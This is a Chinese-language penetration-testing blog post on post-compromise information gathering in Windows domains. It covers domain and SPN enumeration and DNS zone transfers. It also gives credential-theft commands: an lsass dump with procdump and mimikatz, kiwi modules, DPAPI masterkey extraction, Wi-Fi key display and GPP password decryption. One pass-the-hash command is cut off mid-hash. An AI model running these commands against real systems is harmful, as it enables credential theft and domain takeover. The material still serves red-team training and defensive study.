Windows信息收集

Windows 信息收集

主机发现

主机基本信息

当拿到内网主机的控制权shell,进行第一步的基本主机信息收集
当前服务器的计算机基本信息,为后续判断服务器角色,网络环境等做准备

systeminfo #详细信息
net start #启动服务
tasklist #进程列表
schtasks #计划任务

Netbios协议

1.nbtscan

在Windows操作系统中,默认开启支持NetBIOS协议,并使用主机名作为NetBIOS主机名。所以,通过NetBIOS主机名扫描可以确认目标IP的操作系统类型。Kali Linux中,使用nbtscan可以进行NetBIOS主机名扫描。

image

2.nmap

nmap -sN

image

ICMP协议

顾名思义,ping主机

for /l %i in (1,1,255) do @ ping 10.0.0.%i -w 1 -n 1|find /i "ttl="
或者
tcping.exe ‐n 1 192.168.1.0 80   #powershell

image

好处是检测迅速

坏处是容易被防火墙拦截

配置文件

可以多翻翻配置文件

grep暴力搜索关键字,看看有没有密码啥的

用户信息

搜集域用户,本地用户,用户权限,组信息

获取全部域用户:

查看ip查看是否存在域
ipconfig/all 		
查看本地用户
net user 		
查看域用户
net user /domain 	
查看有几个域
net view /domain 		#该命令依赖于两个服务:server和computer browser必须开启				
查看某个域内主机
net view /domain:domain_name			
查看域有哪些组
net group /domain 						
查看域管理员组
net group “domain admins” /domain 		
查看域控
net group “domain controllers” /domain 	
查看域管理
net localgroup administrators /domain 	
定位域控
net time /domain  
nltest /dclist:该域
域信任信息
nltest /domain_trusts 					
主机名
hostname 								
用户登录信息 判断用户是否在线
query user

获取域分组:

net group/domain

域信任

域信任不难理解,A域对B域配置域信任,B域主机就能访问A域主机中的一些资源,或B域中账户可以在nswl.local的域中进行账户验证

返回所有信任192.168.110.202所在域的域

nltest /domain_trusts /all_trusts /v /server:192.168.110.202

image

端口扫描

端口扫描主要是看一些服务,环境,还有是否存在代理通道…

1.netstat

netstat -a

image

2.nmap

nmap –T4 –A –v -p- [IP]

-A 选项用于使用进攻性(Aggressive)方式扫描;

-T4 指定扫描过程使用的时序(Timing),总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况良好的情况推荐使用T4;

-v 表示显示冗余(verbosity)信息,在扫描过程中显示扫描的细节,从而让用户了解当前的扫描状态。

-p- 表示扫描所有的端口

image

会话收集

使用NetSessionEnum API来查看DC上有哪些用户登录。

Get-NetSession -ComputerName DC-0xL4k1d

image

可以查看域用户登录过哪些机器:

Import-Module .\PowerView.ps1
Invoke-UserHunter -UserName "lakiddi"

SPN收集

在内网中,SPN扫描通过查询向域控服务器执行服务发现。可以帮助我们识别正在运行重要服务的主机

SPN的两种类型

  • 一种是注册在AD的Computers下,当一个服务的权限为System 或 Network Service,则SPN注册在机器帐户(Computers)下。域中的每个机器都会有注册两个SPN:HOST/主机名 和 HOST/主机名.xie.com

  • 另一种是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。

  setspn -q */*

image

SPN信息收集

收集SPN意义

快速寻找内网中注册的服务,SPN扫描可以规避像端口扫描的不确定性探测动作

SetSPN

SetSPN是一个本地Windows二进制文件,可用于检索用户帐户和服务之间的映射。该实用程序可以添加,删除或查看SPN注册。

可以使用该命令收集有关内网域环境的信息

setspn  -q  */*			   //查看当前域内所有的SPN:
setspn -T lakid.org -q */* //查看域lakid.org注册的SPN,如果指定域不存在,则默认切换到查找本域的SPN 
setspn -X				   //查找本域内重复的SPN
setspn -D MySQL/lakiddi.lakid.org:1433/MSSQL lakiddi//删除指定SPN:
setspn -L username/hostname							//查找指定用户或主机名注册的SPN:
setspn  -q  */*	

image

setspn -X

image

PowerShell-AD-Recon工具包

链接:https://github.com/PyroTek3/PowerShell-AD-Recon

该工具包提供了一些探测指定SPN的脚本,例如Exchange,Microsoft SQLServer,Terminal等

image

首先,先要执行这个命令

set-ExecutionPolicy RemoteSigned

image

#Discover-PSMSSQLServers.ps1的使用,扫描MSSQL服务
Import-Module .\Discover-PSMSSQLServers.ps1;Discover-PSMSSQLServers
#Discover-PSMSExchangeServers.ps1的使用,扫描Exchange服务
Import-Module .\Discover-PSMSExchangeServers.ps1;Discover-PSMSExchangeServers
#扫描域中所有的SPN信息
Import-Module .\Discover-PSInterestingServices.ps1;Discover-PSInterestingServices

GetUserSPNs.ps1

GetUserSPNs 是 Kerberoast 工具集中的一个 powershell 脚本,用来查询域内用户注册的 SPN。

Import-Module .\GetUserSPNs.ps1

GetUserSPNs.vbs:

GetUserSPNs 是 Kerberoast 工具集中的一个 vbs 脚本,用来查询域内用户注册的 SPN。

image

PowerView.ps1:

PowerView是 PowerSpolit 中 Recon目录下的一个powershell脚本,PowerView 相对于上面几种是根据不同用户的 objectsid 来返回,返回的信息更加详细。

Import-Module .\PowerView.ps1
Get-NetUser -SPN

凭据收集

旨在收集各种密文,明文,口令等,为后续横向渗透做好测试准备,凭据信息收集:

1.站点源码备份文件、数据库备份文件等
2.各类数据库 Web 管理入口,如 PHPMyAdmin
3.浏览器保存密码、浏览器 Cookies
4.其他用户会话、3389 和 ipc$连接记录、回收站内容
5.Windows 保存的 WIFI 密码
6.网络内部的各种帐号和密码,如:Email、VPN、FTP、OA 等

cmdkey /list

image

SecureCRT:

xp/win2003 C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions
win7/win2008以上 C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions

Xshell:

Xshell 5 %userprofile%\Documents\NetSarang\Xshell\Sessions
Xshell 6 %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions

WinSCP:

HKCU\Software\Martin Prikryl\WinSCP 2\Sessions

vnc:

RealVNC HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver Value: Password

TightVNC HKEY_CURRENT_USER\Software\TightVNC\Server Value: Password or PasswordViewOnly

TigerVNC HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 Value: Password

UltraVNC C:\Program Files\UltraVNC\ultravnc.ini Value: passwd or passwd2

也可以使用masterkey解密chrome保存的账号密码:

%localappdata%\Google\Chrome\User Data\Default\Login Data

mimikatz

链接:https://github.com/gentilkiwi/mimikatz/releases

安装

privilege::debug  #提升权限

image

使用获取本机账户密码信息:

sekurlsa::logonpasswords 	#抓取密码

image

高版本Windows抓取密码

procdump.exe -accepteula -ma lsass.exe 1.dmp	#dump lsass.exe
mimikatz.exe "log" "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit	#抓取

内网渗透之各种密码凭证窃取 - 渗透红队笔记

内网渗透神器(Mimikatz)——使用教程

meterpreter-kiwi模块

MSF中meterpreter_kiwi模块

kiwi模块使用

load kiwi 			#加载kiwi模块
help kiwi		 	#查看帮助

kiwi模块命令

creds_all 				#列举所有凭据
creds_kerberos 			#列举所有kerberos凭据
creds_msv				#列举所有msv凭据
creds_ssp				#列举所有ssp凭据
creds_tspkg				#列举所有tspkg凭据
creds_wdigest			#列举所有wdigest凭据
dcsync					#通过DCSync检索用户帐户信息
dcsync_ntlm				#通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create	#创建黄金票据
kerberos_ticket_list	#列举kerberos票据
kerberos_ticket_purge	#清除kerberos票据
kerberos_ticket_use		#使用kerberos票据
kiwi_cmd				#执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam			#dump出lsa的SAM
lsa_dump_secrets		#dump出lsa的密文
password_change			#修改密码
wifi_list				#列出当前用户的wifi配置文件
wifi_list_shared		#列出共享wifi配置文件/编码

Windows DPAPI

DPAPI(全称Data Protection API),对于Windows系统,用户的加密数据大都采用DPAPI进行存储,而想要解密这些数据解,必须要获得DPAPI对应的MasterKey

主要用于保护加密的数据,常见的应用如有:EFS、·存储无线连接密码、IE、Chrome

Master Key的获取

Master Key,64字节,用于解密DPAPI blob,使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中

Master Key File

二进制文件,可使用用户登录密码对其解密,获得Master Key

分为两种:

·用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID%
·系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User

Mimikatz获取:

privilege::debug
sekurlsa::dpapi

或者dump lsass.exe:

procdump.exe -accepteula -ma lsass.exe lsass.dmp	#dump lsass.exe
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi

或者注册表破解:

1.复制注册表文件

reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SECURITY SECURITY.hiv

2.获得DPAPI_SYSTEM的user Hash

mimikatz log "lsad	ump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"

3.用刚才获得的user Hash解密系统Master Key file,获得MasterKey

mimikatz "dpapi::masterkey /in:C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\04ece708-132d-4bf0-a647-e3329269a012 /system:[user Hash]"

渗透技巧——获取Windows系统下DPAPI中的MasterKey

DNS记录收集

DNS域传送的收集与利用

域传送 :DNS Zone Transfer

DNS服务器分为:主服务器、备份服务器和缓存服务器。

在主备服务器之间同步数据库的时候,就需要使用DNS域传送

危害

通过对域传送的漏洞利用,我们可能可以获得

1)网络的拓扑结构,服务器集中的IP地址段

2)数据库服务器的IP地址

3)测试服务器的IP地址

4)VPN服务器地址泄露

5)其他敏感服务器

检测

1.nslookup

ls命令列出某个域中的所有域名

如果是不存在漏洞的主机,会返回Query Refused:

image

如果是存在漏洞的主机,会泄露很多DNS解析记录

image

2.nmap

nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=[要查询的域] -p 53 -Pn [该域DNS服务器]

image

3.dig

dig @dns.xxx.xxx.xxx axfr xxx.xxx.xxx
  • axfr为域传送指令
  • @指定域名服务器
  • xxx.xxx.xxx表示要查询的域名

image

DNS域传送漏洞的收集、检测与利用

DNS记录的获取

DNS记录是快速了解域内的网络架构的信息

通过DNS Manager获取DNS记录

Administrative Tools -> DNS -> Forward Lookup Zones -> 要查询的域名

能够显示当前域内的DNS记录,包括主机名和对应的IP。

image

通过dnscmd获取DNS记录

(Win7不支持)

列出test.com的信息:

dnscmd . /ZoneInfo lakid.org

image

列举test.com的记录:

dnscmd . /ZonePrint lakid.org
dnscmd . /EnumRecords lakid.orf .(简略版)

image

域内远程读取DNS记录的方法(Win7)

因为Win7系统在使用dnscmd时需要安装Remote Server Administration Tools(RSAT)

前提:

  • 需要获得域主机管理员的权限(mimikatz)

  • 在未安装Remote Server Administration Tools (RSAT)的系统上执行dnscmd,需要满足以下条件:

    • dnscmd保存在路径C:WindowsSystem32下

    • dnscmd.exe.mui保存在C:WindowsSystem32en-US下(该位置比较通用,也可以在其他位置)

https://github.com/3gstudent/test/dnscmd.exe

https://github.com/3gstudent/test/dnscmd.exe.mui

由于dnscmd在远程连接时,未提供输入用户名和口令的接口,这里需要借助mimikatz的Overpass-the-hash弹出一个cmd。

提权以后在弹出的cmd里执行dnscmd即可获取记录

比如:

· 域管理员用户:Administrator

· 口令:DomainAdmin456!

· hash:A55E0720F0041193632A58E007624B40

Overpass-the-hash(sekurlsa::pth):

mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007

image

获取wifi密码

CMD命令查看WiFi密码

列出所有连接过的WiFi的配置文件  
netsh wlan show profiles

image

 查看到某个具体WiFi的配置详情,包括密码:
netsh wlan show profiles name="XXXXXX" key=clear

image

GPP-组策略利用

利用SYSVOL还原组策略中保存的密码

域内共享文件夹\SYSVOL:

\\SYSVOL<DOMAIN>\

所有域内主机都能访问,里面保存组策略相关数据

image

认证用户(所有域用户或者信任域里的用户)对SYSVOL拥有读权限

  • 组策略偏好GPP
映射驱动(Drives.xml)
创建本地用户
数据源(DataSources.xml)
打印机配置(Printers.xml)
创建/更新服务(Services.xml)
计划任务(ScheduledTasks.xml)
更改本地Administrator密码

*域管理员在使用组策略批量管理域内主机时,如果配置组策略的过程中需要填入密码,那么该密码会被保存为cpassword项到共享文件夹\SYSVOL下的xml文件,默认所有域内用户可访问,虽然被加密,但很容易被解密*

image

用这个开源脚本即可解开密码:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

使用PowerShell解密后为testsuccess! 成功换源

域渗透-利用SYSVOL还原组策略中保存的密码

SeatBelt

C#开发的自动化信息收集工具

https://github.com/GhostPack/Seatbelt

image

非常多命令

包括很多浏览器的信息也能收集

Bloodhound

可视化的自动信息收集工具

SharpHound.exe -c all

生成zip后导入Bloodhound即可进行可视化分析

比较常用的就是寻找攻击域控的最快途径

image

如图可知,拿下这个用户我们就能拿到域控

image

posted @ 2021-11-27 10:53  0xL4k1d  阅读(368)  评论(0编辑  收藏  举报